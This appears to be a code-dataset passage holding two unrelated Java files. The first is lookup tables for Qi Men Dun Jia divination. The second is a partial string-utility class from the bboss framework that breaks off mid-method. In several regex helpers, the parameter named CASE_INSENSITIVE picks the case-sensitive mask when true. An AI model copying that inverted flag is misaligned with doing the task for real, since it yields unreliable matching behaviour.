put("春季", 0);
put("夏季", 1);
put("秋季", 2);
put("冬季", 3);
put("四季末", 4);
}
};
/**
* 十二地支索引
*/
public static final Map<String, Integer> DI_ZHI_INDEX = new HashMap<String, Integer>() {
private static final long serialVersionUID = -1;
{
put("子", 0); // 子
put("丑", 1); // 丑
put("寅", 2); // 寅
put("卯", 3); // 卯
put("辰", 4); // 辰
put("巳", 5); // 巳
put("午", 6); // 午
put("未", 7); // 未
put("申", 8); // 申
put("酉", 9); // 酉
put("戌", 10); // 戌
put("亥", 11); // 亥
}
};
/**
* 九宫中的地支(1~9宫)
*/
public static final Map<Integer, List<String>> JIU_GONG_DI_ZHI = new HashMap<Integer, List<String>>() {
private static final long serialVersionUID = -1;
{
put(0, Collections.singletonList("子")); // 坎一宫:子
put(1, Arrays.asList("未", "申")); // 坤二宫:未、申
put(2, Collections.singletonList("卯")); // 震三宫:卯
put(3, Arrays.asList("辰", "巳")); // 巽四宫:辰、巳
put(4, Arrays.asList("", "")); // 中五宫
put(5, Arrays.asList("戌", "亥")); // 乾六宫:戌、亥
put(6, Collections.singletonList("酉")); // 兑七宫:酉
put(7, Arrays.asList("丑", "寅")); // 艮八宫:丑、寅
put(8, Collections.singletonList("午")); // 离九宫:午
}
};
//------------------------------------------------------------------------------------------------------------------------------------
/**
* 八卦旺衰(根据季节计算)
*/
public static final Map<String, List<String>> BA_GUA_WANG_SHUAI_JI_JIE = new HashMap<String, List<String>>() {
private static final long serialVersionUID = -1;
{
put("坎", Arrays.asList("休", "囚", "相", "旺", "死")); // 坎一宫:春季休、夏季囚、秋季相、冬季旺、四季末死
put("坤", Arrays.asList("死", "相", "休", "囚", "旺")); // 坤二宫:春季死、夏季相、秋季休、冬季囚、四季末旺
put("震", Arrays.asList("旺", "休", "死", "相", "囚")); // 震三宫:春季旺、夏季休、秋季死、冬季相、四季末囚
put("巽", Arrays.asList("旺", "休", "死", "相", "囚")); // 巽四宫:春季旺、夏季休、秋季死、冬季相、四季末囚
put("", Collections.singletonList("四季旺")); // 中五宫:四季旺
put("乾", Arrays.asList("囚", "死", "旺", "休", "相")); // 乾六宫:春季囚、夏季死、秋季旺、冬季休、四季末相
put("兑", Arrays.asList("囚", "死", "旺", "休", "相")); // 兑七宫:春季囚、夏季死、秋季旺、冬季休、四季末相
put("艮", Arrays.asList("死", "相", "休", "囚", "旺")); // 艮八宫:春季死、夏季相、秋季休、冬季囚、四季末旺
put("离", Arrays.asList("相", "旺", "囚", "死", "休")); // 离九宫:春季相、夏季旺、秋季囚、冬季死、四季末休
}
};
/**
* 八门旺衰(根据季节计算)
*/
public static final Map<String, List<String>> BA_MEN_WANG_SHUAI_JI_JIE = new HashMap<String, List<String>>() {
private static final long serialVersionUID = -1;
{
put("休门", Arrays.asList("休", "囚", "相", "旺", "死")); // 休门:春季休、夏季囚、秋季相、冬季旺、四季末死
put("死门", Arrays.asList("死", "相", "休", "囚", "旺")); // 死门:春季死、夏季相、秋季休、冬季囚、四季末旺
put("伤门", Arrays.asList("旺", "休", "死", "相", "囚")); // 伤门:春季旺、夏季休、秋季死、冬季相、四季末囚
put("杜门", Arrays.asList("旺", "休", "死", "相", "囚")); // 杜门:春季旺、夏季休、秋季死、冬季相、四季末囚
put("", Collections.singletonList(""));
put("开门", Arrays.asList("囚", "死", "旺", "休", "相")); // 开门:春季囚、夏季死、秋季旺、冬季休、四季末相
put("惊门", Arrays.asList("囚", "死", "旺", "休", "相")); // 惊门:春季囚、夏季死、秋季旺、冬季休、四季末相
put("生门", Arrays.asList("死", "相", "休", "囚", "旺")); // 生门:春季死、夏季相、秋季休、冬季囚、四季末旺
put("景门", Arrays.asList("相", "旺", "囚", "死", "休")); // 景门:春季相、夏季旺、秋季囚、冬季死、四季末休
}
};
/**
* 九星旺衰(根据月支计算)
*/
public static final Map<String, List<String>> JIU_XING_WANG_SHUAI_MONTH_ZHI = new HashMap<String, List<String>>() {
private static final long serialVersionUID = -1;
/*
蓬 芮 冲 辅 禽 心 柱 任 英
↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓
子月→ 相 休 废 废 休 旺 旺 休 囚
丑月→ 囚 相 休 休 相 废 废 相 旺
寅月→ 旺 囚 相 相 囚 休 休 囚 废
卯月→ 旺 囚 相 相 囚 休 休 囚 废
辰月→ 囚 相 休 休 相 废 废 相 旺
巳月→ 休 废 旺 旺 废 囚 囚 废 相
午月→ 休 废 旺 旺 废 囚 囚 废 相
未月→ 囚 相 休 休 相 废 废 相 旺
申月→ 废 旺 囚 囚 旺 相 相 旺 休
酉月→ 废 旺 囚 囚 旺 相 相 旺 休
戌月→ 囚 相 休 休 相 废 废 相 旺
亥月→ 相 休 废 废 休 旺 旺 休 囚
*/
{
put("天蓬", Arrays.asList("相", "囚", "旺", "旺", "囚", "休", "休", "囚", "废", "废", "囚", "相")); // 天蓬:子月相、丑月囚、寅月旺、卯月旺、辰月囚、巳月休、午月休、未月囚、申月废、酉月废、戌月囚、亥月相
put("天芮", Arrays.asList("休", "相", "囚", "囚", "相", "废", "废", "相", "旺", "旺", "相", "休")); // 天芮:子月休、丑月相、寅月囚、卯月囚、辰月相、巳月废、午月废、未月相、申月旺、酉月旺、戌月相、亥月休
put("天冲", Arrays.asList("废", "休", "相", "相", "休", "旺", "旺", "休", "囚", "囚", "休", "废")); // 天冲:子月废、丑月休、寅月相、卯月相、辰月休、巳月旺、午月旺、未月休、申月囚、酉月囚、戌月休、亥月废
put("天辅", Arrays.asList("废", "休", "相", "相", "休", "旺", "旺", "休", "囚", "囚", "休", "废")); // 天辅:子月废、丑月休、寅月相、卯月相、辰月休、巳月旺、午月旺、未月休、申月囚、酉月囚、戌月休、亥月废
put("天禽", Arrays.asList("休", "相", "囚", "囚", "相", "废", "废", "相", "旺", "旺", "相", "休")); // 天禽:子月休、丑月相、寅月囚、卯月囚、辰月相、巳月废、午月废、未月相、申月旺、酉月旺、戌月相、亥月休
put("天心", Arrays.asList("旺", "废", "休", "休", "废", "囚", "囚", "废", "相", "相", "废", "旺")); // 天心:子月旺、丑月废、寅月休、卯月休、辰月废、巳月囚、午月囚、未月废、申月相、酉月相、戌月废、亥月旺
put("天柱", Arrays.asList("旺", "废", "休", "休", "废", "囚", "囚", "废", "相", "相", "废", "旺")); // 天柱:子月旺、丑月废、寅月休、卯月休、辰月废、巳月囚、午月囚、未月废、申月相、酉月相、戌月废、亥月旺
put("天任", Arrays.asList("休", "相", "囚", "囚", "相", "废", "废", "相", "旺", "旺", "相", "休")); // 天任:子月休、丑月相、寅月囚、卯月囚、辰月相、巳月废、午月废、未月相、申月旺、酉月旺、戌月相、亥月休
put("天英", Arrays.asList("囚", "旺", "废", "废", "旺", "相", "相", "旺", "休", "休", "旺", "囚")); // 天英:子月囚、丑月旺、寅月废、卯月废、辰月旺、巳月相、午月相、未月旺、申月休、酉月休、戌月旺、亥月囚
}
};
//------------------------------------------------------------------------------------------------------------------------------------
/**
* 八门落宫状态
*/
public static final Map<String, List<String>> BA_MEN_LUO_GONG_STATUS = new HashMap<String, List<String>>() {
private static final long serialVersionUID = -1;
/*
休门 死门 伤门 杜门 开门 惊门 生门 景门
↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓
坎一宫→ 伏吟 门迫 门义 门义 门和 门和 门迫 反吟
坤二宫→ 门制 伏吟 入墓 入墓 门义 门义 反吟 门和
震三宫→ 门和 门制 伏吟 比和 门迫 反吟 门制 门义
巽四宫→ 入墓 入墓 比和 伏吟 反吟 门迫 入墓 门义
乾六宫→ 门义 门和 门制 反吟 伏吟 比和 门和 入墓
兑七宫→ 门义 门和 反吟 门制 比和 伏吟 门和 门迫
艮八宫→ 门制 反吟 门迫 门迫 入墓 入墓 伏吟 门和
离九宫→ 反吟 门义 门和 门和 门制 门制 门义 伏吟
========================================================================
★解释
伏吟:八门落入原宫位。
反吟:八门落入与原宫对冲宫位。
门迫:八门五行克落宫五行。
门制:落宫五行克八门五行。
门和:八门五行生落宫五行。
门义:落宫五行生八门五行。
比和:八门五行和落宫五行相同。
入墓:休门、生门、死门落[巽四宫]为入墓。伤门、杜门落[坤二宫]为入墓。惊门开落[八宫]为入墓。景门落[乾六宫]为入墓。
*/
// 例如:休门→ 落[坎一宫]为伏吟,落[坤二宫]为门制,落[震三宫]为门和,落[巽四宫]为入墓,落[乾六宫]为门义,落[兑七宫]为门义,落[艮八宫]为门制,落[离九宫]为反吟。
{
put("休门", Arrays.asList("伏吟", "门制", "门和", "入墓", "", "门义", "门义", "门制", "反吟"));
put("死门", Arrays.asList("门迫", "伏吟", "门制", "入墓", "", "门和", "门和", "反吟", "门义"));
put("伤门", Arrays.asList("门义", "入墓", "伏吟", "比和", "", "门制", "反吟", "门迫", "门和"));
put("杜门", Arrays.asList("门义", "入墓", "比和", "伏吟", "", "反吟", "门制", "门迫", "门和"));
put("开门", Arrays.asList("门和", "门义", "门迫", "反吟", "", "伏吟", "比和", "入墓", "门制"));
put("惊门", Arrays.asList("门和", "门义", "反吟", "门迫", "", "比和", "伏吟", "入墓", "门制"));
put("生门", Arrays.asList("门迫", "反吟", "门制", "入墓", "", "门和", "门和", "伏吟", "门义"));
put("景门", Arrays.asList("反吟", "门和", "门义", "门义", "", "入墓", "门迫", "门和", "伏吟"));
}
};
/**
* 九星落宫状态
*/
public static final Map<String, List<String>> JIU_XING_LUO_GONG_STATUS = new HashMap<String, List<String>>() {
private static final long serialVersionUID = -1;
/*
蓬 芮 冲 辅 禽 心 柱 任 英
↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓
坎一宫→ 相 休 废 废 休 旺 旺 休 囚
坤二宫→ 囚 相 休 休 相 废 废 相 旺
震三宫→ 旺 囚 相 相 囚 休 休 囚 废
巽四宫→ 旺 囚 相 相 囚 休 休 囚 废
中五宫→ 囚 相 休 休 相 废 废 相 旺
乾六宫→ 废 旺 囚 囚 旺 相 相 旺 休
兑七宫→ 废 旺 囚 囚 旺 相 相 旺 休
艮八宫→ 囚 相 休 休 相 废 废 相 旺
离九宫→ 休 废 旺 旺 废 囚 囚 废 相
*/ {
put("天蓬", Arrays.asList("相", "囚", "旺", "旺", "囚", "废", "废", "囚", "休")); // 天蓬:坎一宫相,坤二宫囚,震三宫旺,巽四宫旺,中五宫囚,乾六宫废,兑七宫废,艮八宫囚,离九宫休
put("天芮", Arrays.asList("休", "相", "囚", "囚", "相", "旺", "旺", "相", "废")); // 天芮:坎一宫休,坤二宫相,震三宫囚,巽四宫囚,中五宫相,乾六宫旺,兑七宫旺,艮八宫相,离九宫废
put("天冲", Arrays.asList("废", "休", "相", "相", "休", "囚", "囚", "休", "旺")); // 天冲:坎一宫废,坤二宫休,震三宫相,巽四宫相,中五宫休,乾六宫囚,兑七宫囚,艮八宫休,离九宫旺
put("天辅", Arrays.asList("废", "休", "相", "相", "休", "囚", "囚", "休", "旺")); // 天辅:坎一宫废,坤二宫休,震三宫相,巽四宫相,中五宫休,乾六宫囚,兑七宫囚,艮八宫休,离九宫旺
put("天禽", Arrays.asList("休", "相", "囚", "囚", "相", "旺", "旺", "相", "废")); // 天禽:坎一宫休,坤二宫相,震三宫囚,巽四宫囚,中五宫相,乾六宫旺,兑七宫旺,艮八宫相,离九宫废
put("天心", Arrays.asList("旺", "废", "休", "休", "废", "相", "相", "废", "囚")); // 天心:坎一宫旺,坤二宫废,震三宫休,巽四宫休,中五宫废,乾六宫相,兑七宫相,艮八宫废,离九宫囚
put("天柱", Arrays.asList("旺", "废", "休", "休", "废", "相", "相", "废", "囚")); // 天柱:坎一宫旺,坤二宫废,震三宫休,巽四宫休,中五宫废,乾六宫相,兑七宫相,艮八宫废,离九宫囚
put("天任", Arrays.asList("休", "相", "囚", "囚", "相", "旺", "旺", "相", "废")); // 天任:坎一宫休,坤二宫相,震三宫囚,巽四宫囚,中五宫相,乾六宫旺,兑七宫旺,艮八宫相,离九宫废
put("天英", Arrays.asList("囚", "旺", "废", "废", "旺", "休", "休", "旺", "相")); // 天英:坎一宫囚,坤二宫旺,震三宫废,巽四宫废,中五宫旺,乾六宫休,兑七宫休,艮八宫旺,离九宫相
}
};
/**
* 奇仪落宫状态
*/
public static final Map<List<String>, String> QI_YI_LUO_GONG_STATUS = new HashMap<List<String>, String>() {
private static final long serialVersionUID = -1;
/*
甲 乙 丙 丁 戊 己 庚 辛 壬 癸
↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓
坎一宫(子)→ 沐浴 病 胎 绝 胎 绝 死 长生 帝旺 临官
艮八宫(丑)→ 冠带 衰 养 墓 养 墓 墓 养 衰 冠带
艮八宫(寅)→ 临官 帝旺 长生 死 长生 死 绝 胎 病 沐浴
震三宫(卯)→ 帝旺 临官 沐浴 病 沐浴 病 胎 绝 死 长生
巽四宫(辰)→ 衰 冠带 冠带 衰 冠带 衰 养 墓 墓 养
巽四宫(巳)→ 病 沐浴 临官 帝旺 临官 帝旺 长生 死 绝 胎
离九宫(午)→ 死 长生 帝旺 临官 帝旺 临官 沐浴 病 胎 绝
坤二宫(未)→ 墓 养 衰 冠带 衰 冠带 冠带 衰 养 墓
坤二宫(申)→ 绝 胎 病 沐浴 病 沐浴 临官 帝旺 长生 死
兑七宫(酉)→ 胎 绝 死 长生 死 长生 帝旺 临官 沐浴 病
乾六宫(戌)→ 养 墓 墓 养 墓 养 衰 冠带 冠带 衰
乾六宫(亥)→ 长生 死 绝 胎 绝 胎 病 沐浴 临官 帝旺
*/ {
put(Arrays.asList("甲", "子"), "沐浴"); // 甲+子:沐浴
put(Arrays.asList("甲", "丑"), "冠带"); // 甲+丑:冠带
put(Arrays.asList("甲", "寅"), "临官"); // 甲+寅:临官
put(Arrays.asList("甲", "卯"), "帝旺"); // 甲+卯:帝旺
put(Arrays.asList("甲", "辰"), "衰"); // 甲+辰:衰
put(Arrays.asList("甲", "巳"), "病"); // 甲+巳:病
put(Arrays.asList("甲", "午"), "死"); // 甲+午:死
put(Arrays.asList("甲", "未"), "墓"); // 甲+未:墓
put(Arrays.asList("甲", "申"), "绝"); // 甲+申:绝
put(Arrays.asList("甲", "酉"), "胎"); // 甲+酉:胎
put(Arrays.asList("甲", "戌"), "养"); // 甲+戌:养
put(Arrays.asList("甲", "亥"), "长生"); // 甲+亥:长生
put(Arrays.asList("乙", "子"), "病"); // 乙+子:病
put(Arrays.asList("乙", "丑"), "衰"); // 乙+丑:衰
put(Arrays.asList("乙", "寅"), "帝旺"); // 乙+寅:帝旺
put(Arrays.asList("乙", "卯"), "临官"); // 乙+卯:临官
put(Arrays.asList("乙", "辰"), "冠带"); // 乙+辰:冠带
put(Arrays.asList("乙", "巳"), "沐浴"); // 乙+巳:沐浴
put(Arrays.asList("乙", "午"), "长生"); // 乙+午:长生
put(Arrays.asList("乙", "未"), "养"); // 乙+未:养
put(Arrays.asList("乙", "申"), "胎"); // 乙+申:胎
put(Arrays.asList("乙", "酉"), "绝"); // 乙+酉:绝
put(Arrays.asList("乙", "戌"), "墓"); // 乙+戌:墓
put(Arrays.asList("乙", "亥"), "死"); // 乙+亥:死
put(Arrays.asList("丙", "子"), "胎"); // 丙+子:胎
put(Arrays.asList("丙", "丑"), "养"); // 丙+丑:养
put(Arrays.asList("丙", "寅"), "长生"); // 丙+寅:长生
put(Arrays.asList("丙", "卯"), "沐浴"); // 丙+卯:沐浴
put(Arrays.asList("丙", "辰"), "冠带"); // 丙+辰:冠带
put(Arrays.asList("丙", "巳"), "临官"); // 丙+巳:临官
put(Arrays.asList("丙", "午"), "帝旺"); // 丙+午:帝旺
put(Arrays.asList("丙", "未"), "衰"); // 丙+未:衰
put(Arrays.asList("丙", "申"), "病"); // 丙+申:病
put(Arrays.asList("丙", "酉"), "死"); // 丙+酉:死
put(Arrays.asList("丙", "戌"), "墓"); // 丙+戌:墓
put(Arrays.asList("丙", "亥"), "绝"); // 丙+亥:绝
put(Arrays.asList("丁", "子"), "绝"); // 丁+子:绝
put(Arrays.asList("丁", "丑"), "墓"); // 丁+丑:墓
put(Arrays.asList("丁", "寅"), "死"); // 丁+寅:死
put(Arrays.asList("丁", "卯"), "病"); // 丁+卯:病
put(Arrays.asList("丁", "辰"), "衰"); // 丁+辰:衰
put(Arrays.asList("丁", "巳"), "帝旺"); // 丁+巳:帝旺
put(Arrays.asList("丁", "午"), "临官"); // 丁+午:临官
put(Arrays.asList("丁", "未"), "冠带"); // 丁+未:冠带
put(Arrays.asList("丁", "申"), "沐浴"); // 丁+申:沐浴
put(Arrays.asList("丁", "酉"), "长生"); // 丁+酉:长生
put(Arrays.asList("丁", "戌"), "养"); // 丁+戌:养
put(Arrays.asList("丁", "亥"), "胎"); // 丁+亥:胎
put(Arrays.asList("戊", "子"), "胎"); // 戊+子:胎
put(Arrays.asList("戊", "丑"), "养"); // 戊+丑:养
put(Arrays.asList("戊", "寅"), "长生"); // 戊+寅:长生
put(Arrays.asList("戊", "卯"), "沐浴"); // 戊+卯:沐浴
put(Arrays.asList("戊", "辰"), "冠带"); // 戊+辰:冠带
put(Arrays.asList("戊", "巳"), "临官"); // 戊+巳:临官
put(Arrays.asList("戊", "午"), "帝旺"); // 戊+午:帝旺
put(Arrays.asList("戊", "未"), "衰"); // 戊+未:衰
put(Arrays.asList("戊", "申"), "病"); // 戊+申:病
put(Arrays.asList("戊", "酉"), "死"); // 戊+酉:死
put(Arrays.asList("戊", "戌"), "墓"); // 戊+戌:墓
put(Arrays.asList("戊", "亥"), "绝"); // 戊+亥:绝
put(Arrays.asList("己", "子"), "绝"); // 己+子:绝
put(Arrays.asList("己", "丑"), "墓"); // 己+丑:墓
put(Arrays.asList("己", "寅"), "死"); // 己+寅:死
put(Arrays.asList("己", "卯"), "病"); // 己+卯:病
put(Arrays.asList("己", "辰"), "衰"); // 己+辰:衰
put(Arrays.asList("己", "巳"), "帝旺"); // 己+巳:帝旺
put(Arrays.asList("己", "午"), "临官"); // 己+午:临官
put(Arrays.asList("己", "未"), "冠带"); // 己+未:冠带
put(Arrays.asList("己", "申"), "沐浴"); // 己+申:沐浴
put(Arrays.asList("己", "酉"), "长生"); // 己+酉:长生
put(Arrays.asList("己", "戌"), "养"); // 己+戌:养
put(Arrays.asList("己", "亥"), "胎"); // 己+亥:胎
put(Arrays.asList("庚", "子"), "死"); // 庚+子:死
put(Arrays.asList("庚", "丑"), "墓"); // 庚+丑:墓
put(Arrays.asList("庚", "寅"), "绝"); // 庚+寅:绝
put(Arrays.asList("庚", "卯"), "胎"); // 庚+卯:胎
put(Arrays.asList("庚", "辰"), "养"); // 庚+辰:养
put(Arrays.asList("庚", "巳"), "长生"); // 庚+巳:长生
put(Arrays.asList("庚", "午"), "沐浴"); // 庚+午:沐浴
put(Arrays.asList("庚", "未"), "冠带"); // 庚+未:冠带
put(Arrays.asList("庚", "申"), "临官"); // 庚+申:临官
put(Arrays.asList("庚", "酉"), "帝旺"); // 庚+酉:帝旺
put(Arrays.asList("庚", "戌"), "衰"); // 庚+戌:衰
put(Arrays.asList("庚", "亥"), "病"); // 庚+亥:病
put(Arrays.asList("辛", "子"), "长生"); // 辛+子:长生
put(Arrays.asList("辛", "丑"), "养"); // 辛+丑:养
put(Arrays.asList("辛", "寅"), "胎"); // 辛+寅:胎
put(Arrays.asList("辛", "卯"), "绝"); // 辛+卯:绝
put(Arrays.asList("辛", "辰"), "墓"); // 辛+辰:墓
put(Arrays.asList("辛", "巳"), "死"); // 辛+巳:死
put(Arrays.asList("辛", "午"), "病"); // 辛+午:病
put(Arrays.asList("辛", "未"), "衰"); // 辛+未:衰
put(Arrays.asList("辛", "申"), "帝旺"); // 辛+申:帝旺
put(Arrays.asList("辛", "酉"), "临官"); // 辛+酉:临官
put(Arrays.asList("辛", "戌"), "冠带"); // 辛+戌:冠带
put(Arrays.asList("辛", "亥"), "沐浴"); // 辛+亥:沐浴
put(Arrays.asList("壬", "子"), "帝旺"); // 壬+子:帝旺
put(Arrays.asList("壬", "丑"), "衰"); // 壬+丑:衰
put(Arrays.asList("壬", "寅"), "病"); // 壬+寅:病
put(Arrays.asList("壬", "卯"), "死"); // 壬+卯:死
put(Arrays.asList("壬", "辰"), "墓"); // 壬+辰:墓
put(Arrays.asList("壬", "巳"), "绝"); // 壬+巳:绝
put(Arrays.asList("壬", "午"), "胎"); // 壬+午:胎
put(Arrays.asList("壬", "未"), "养"); // 壬+未:养
put(Arrays.asList("壬", "申"), "长生"); // 壬+申:长生
put(Arrays.asList("壬", "酉"), "沐浴"); // 壬+酉:沐浴
put(Arrays.asList("壬", "戌"), "冠带"); // 壬+戌:冠带
put(Arrays.asList("壬", "亥"), "临官"); // 壬+亥:临官
put(Arrays.asList("癸", "子"), "临官"); // 癸+子:临官
put(Arrays.asList("癸", "丑"), "冠带"); // 癸+丑:冠带
put(Arrays.asList("癸", "寅"), "沐浴"); // 癸+寅:沐浴
put(Arrays.asList("癸", "卯"), "长生"); // 癸+卯:长生
put(Arrays.asList("癸", "辰"), "养"); // 癸+辰:养
put(Arrays.asList("癸", "巳"), "胎"); // 癸+巳:胎
put(Arrays.asList("癸", "午"), "绝"); // 癸+午:绝
put(Arrays.asList("癸", "未"), "墓"); // 癸+未:墓
put(Arrays.asList("癸", "申"), "死"); // 癸+申:死
put(Arrays.asList("癸", "酉"), "病"); // 癸+酉:病
put(Arrays.asList("癸", "戌"), "衰"); // 癸+戌:衰
put(Arrays.asList("癸", "亥"), "帝旺"); // 癸+亥:帝旺
put(Arrays.asList("甲", ""), "");
put(Arrays.asList("乙", ""), "");
put(Arrays.asList("丙", ""), "");
put(Arrays.asList("丁", ""), "");
put(Arrays.asList("戊", ""), "");
put(Arrays.asList("己", ""), "");
put(Arrays.asList("庚", ""), "");
put(Arrays.asList("辛", ""), "");
put(Arrays.asList("壬", ""), "");
put(Arrays.asList("癸", ""), "");
}
};
}
| shan-dai/xuan | src/main/java/com/xuan/core/qimen/zhuan/ZhuanQiMenMaps.java |
65,407 | /*****************************************************************************
* *
* This file is part of the tna framework distribution. *
* Documentation and updates may be get from biaoping.yin the author of *
* this framework *
* *
* Sun Public License Notice: *
* *
* The contents of this file are subject to the Sun Public License Version *
* 1.0 (the "License"); you may not use this file except in compliance with *
* the License. A copy of the License is available at http://www.sun.com *
* *
* The Original Code is tag. The Initial Developer of the Original *
* Code is biaoping yin. Portions created by biaoping yin are Copyright *
* (C) 2000. All Rights Reserved. *
* *
* GNU Public License Notice: *
* *
* Alternatively, the contents of this file may be used under the terms of *
* the GNU Lesser General Public License (the "LGPL"), in which case the *
* provisions of LGPL are applicable instead of those above. If you wish to *
* allow use of your version of this file only under the terms of the LGPL *
* and not to allow others to use your version of this file under the SPL, *
* indicate your decision by deleting the provisions above and replace *
* them with the notice and other provisions required by the LGPL. If you *
* do not delete the provisions above, a recipient may use your version of *
* this file under either the SPL or the LGPL. *
* *
* biaoping.yin ([email protected]) *
* Author of Learning Java *
* *
*****************************************************************************/
package com.frameworkset.util;
import com.fasterxml.jackson.databind.ObjectMapper;
import org.apache.oro.text.regex.*;
import org.frameworkset.json.DefaultJsonTypeReference;
import org.frameworkset.json.JacksonObjectMapperWrapper;
import org.frameworkset.json.JsonTypeReference;
import org.frameworkset.soa.BBossStringWriter;
import org.frameworkset.util.ObjectUtils;
import org.frameworkset.util.annotations.Nullable;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import java.io.File;
import java.io.InputStream;
import java.io.OutputStream;
import java.io.Writer;
import java.util.*;
/**
* To change for your class or interface DAO中VOObject String类型与PO数据类型转换工具类.
*
* @author biaoping.yin
* @version 1.0
*/
public class SimpleStringUtil extends BaseSimpleStringUtil{
// private static final SimpleDateFormat format = new SimpleDateFormat(
// "yyyy-MM-dd HH:mm:ss");
protected static final Logger logger = LoggerFactory.getLogger(SimpleStringUtil.class);
private static JacksonObjectMapperWrapper objectMapper = null;
/**
* Capitalize a {@code String}, changing the first letter to
* upper case as per {@link Character#toUpperCase(char)}.
* No other letters are changed.
* @param str the {@code String} to capitalize
* @return the capitalized {@code String}
*/
public static String capitalize(String str) {
return changeFirstCharacterCase(str, true);
}
/**
* Concatenate the given {@code String} arrays into one,
* with overlapping array elements included twice.
* <p>The order of elements in the original arrays is preserved.
* @param array1 the first array (can be {@code null})
* @param array2 the second array (can be {@code null})
* @return the new array ({@code null} if both given arrays were {@code null})
*/
@Nullable
public static String[] concatenateStringArrays(@Nullable String[] array1, @Nullable String[] array2) {
if (ObjectUtils.isEmpty(array1)) {
return array2;
}
if (ObjectUtils.isEmpty(array2)) {
return array1;
}
String[] newArr = new String[array1.length + array2.length];
System.arraycopy(array1, 0, newArr, 0, array1.length);
System.arraycopy(array2, 0, newArr, array1.length, array2.length);
return newArr;
}
private static String changeFirstCharacterCase(String str, boolean capitalize) {
if (!hasLength(str)) {
return str;
}
char baseChar = str.charAt(0);
char updatedChar;
if (capitalize) {
updatedChar = Character.toUpperCase(baseChar);
}
else {
updatedChar = Character.toLowerCase(baseChar);
}
if (baseChar == updatedChar) {
return str;
}
char[] chars = str.toCharArray();
chars[0] = updatedChar;
return new String(chars, 0, chars.length);
}
private static void initJacksonObjectMapperWrapper(){
if(objectMapper == null) {
synchronized (SimpleStringUtil.class) {
if(objectMapper == null) {
JacksonObjectMapperWrapper objectMapper_ = new JacksonObjectMapperWrapper();
objectMapper_.init();
objectMapper = objectMapper_;
}
}
}
}
public static JacksonObjectMapperWrapper getJacksonObjectMapper(){
initJacksonObjectMapperWrapper();
return objectMapper;
}
/**
* 将一个字符串根据逗号分拆
*/
public static String[] split(String s) {
return split(s, COMMA);
}
/**
* 将字符串根据给定分隔符分拆
*/
public static String[] split(String s, String delimiter) {
return split(s, delimiter, true);
// if (s == null || delimiter == null) {
// return new String[0];
// }
//
// s = s.trim();
//
// if (!s.endsWith(delimiter)) {
// s += delimiter;
// }
//
// if (s.equals(delimiter)) {
// return new String[0];
// }
//
// List nodeValues = new ArrayList();
//
// if (delimiter.equals("\n") || delimiter.equals("\r")) {
// try {
// BufferedReader br = new BufferedReader(new StringReader(s));
//
// String line = null;
//
// while ((line = br.readLine()) != null) {
// nodeValues.add(line);
// }
//
// br.close();
// }
// catch (IOException ioe) {
// ioe.printStackTrace();
// }
// }
// else {
// int offset = 0;
// int pos = s.indexOf(delimiter, offset);
//
// while (pos != -1) {
// nodeValues.add(s.substring(offset, pos));
//
// offset = pos + delimiter.length();
// pos = s.indexOf(delimiter, offset);
// }
// }
//
// return (String[])nodeValues.toArray(new String[0]);
}
/**
* 字符串替换函数
*
* @param val
* String
* @param str1
* String
* @param str2
* String
* @return String
*/
public static String replaceAll(String val, String str1, String str2) {
return replaceAll(val, str1, str2, true);
}
public static String replaceFirst(String val, String str1, String str2) {
return replaceFirst(val, str1, str2, true);
}
public static String replaceFirst(String val, String str1, String str2,
boolean CASE_INSENSITIVE) {
String patternStr = str1;
/**
* 编译正则表达式patternStr,并用该表达式与传入的sql语句进行模式匹配,
* 如果匹配正确,则从匹配对象中提取出以上定义好的6部分,存放到数组中并返回 该数组
*/
PatternCompiler compiler = new Perl5Compiler();
Pattern pattern = null;
try {
if (CASE_INSENSITIVE) {
pattern = compiler.compile(patternStr,
Perl5Compiler.DEFAULT_MASK);
} else {
pattern = compiler.compile(patternStr,
Perl5Compiler.CASE_INSENSITIVE_MASK);
}
PatternMatcher matcher = new Perl5Matcher();
return org.apache.oro.text.regex.Util.substitute(matcher, pattern,
new StringSubstitution(str2), val);
} catch (MalformedPatternException e) {
e.printStackTrace();
return val;
}
}
public static String replaceAll(String val, String str1, String str2,
boolean CASE_INSENSITIVE) {
String patternStr = str1;
/**
* 编译正则表达式patternStr,并用该表达式与传入的sql语句进行模式匹配,
* 如果匹配正确,则从匹配对象中提取出以上定义好的6部分,存放到数组中并返回 该数组
*/
PatternCompiler compiler = new Perl5Compiler();
Pattern pattern = null;
try {
if (CASE_INSENSITIVE) {
pattern = compiler.compile(patternStr,
Perl5Compiler.DEFAULT_MASK);
} else {
pattern = compiler.compile(patternStr,
Perl5Compiler.CASE_INSENSITIVE_MASK);
}
PatternMatcher matcher = new Perl5Matcher();
return org.apache.oro.text.regex.Util.substitute(matcher, pattern,
new StringSubstitution(str2), val,
org.apache.oro.text.regex.Util.SUBSTITUTE_ALL);
} catch (MalformedPatternException e) {
e.printStackTrace();
return val;
}
}
public static String replaceAll(String val, String str1, String str2,
int mask) {
String patternStr = str1;
/**
* 编译正则表达式patternStr,并用该表达式与传入的sql语句进行模式匹配,
* 如果匹配正确,则从匹配对象中提取出以上定义好的6部分,存放到数组中并返回 该数组
*/
PatternCompiler compiler = new Perl5Compiler();
Pattern pattern = null;
try {
pattern = compiler.compile(patternStr,
mask);
PatternMatcher matcher = new Perl5Matcher();
return org.apache.oro.text.regex.Util.substitute(matcher, pattern,
new StringSubstitution(str2), val,
org.apache.oro.text.regex.Util.SUBSTITUTE_ALL);
} catch (MalformedPatternException e) {
e.printStackTrace();
return val;
}
}
/**
* 分割字符串为数组函数
*
* @param val
* String
* @param token
* String
* @param CASE_INSENSITIVE
* boolean
* @return String[]
*/
public static String[] split(String val, String token,
boolean CASE_INSENSITIVE) {
String patternStr = token;
/**
* 编译正则表达式patternStr,并用该表达式与传入的sql语句进行模式匹配,
* 如果匹配正确,则从匹配对象中提取出以上定义好的6部分,存放到数组中并返回 该数组
*/
PatternCompiler compiler = new Perl5Compiler();
Pattern pattern = null;
try {
if (CASE_INSENSITIVE) {
pattern = compiler.compile(patternStr,
Perl5Compiler.DEFAULT_MASK);
} else {
pattern = compiler.compile(patternStr,
Perl5Compiler.CASE_INSENSITIVE_MASK);
}
PatternMatcher matcher = new Perl5Matcher();
List list = new ArrayList();
split(list, matcher, pattern, val, SPLIT_ALL);
String[] rets = new String[list.size()];
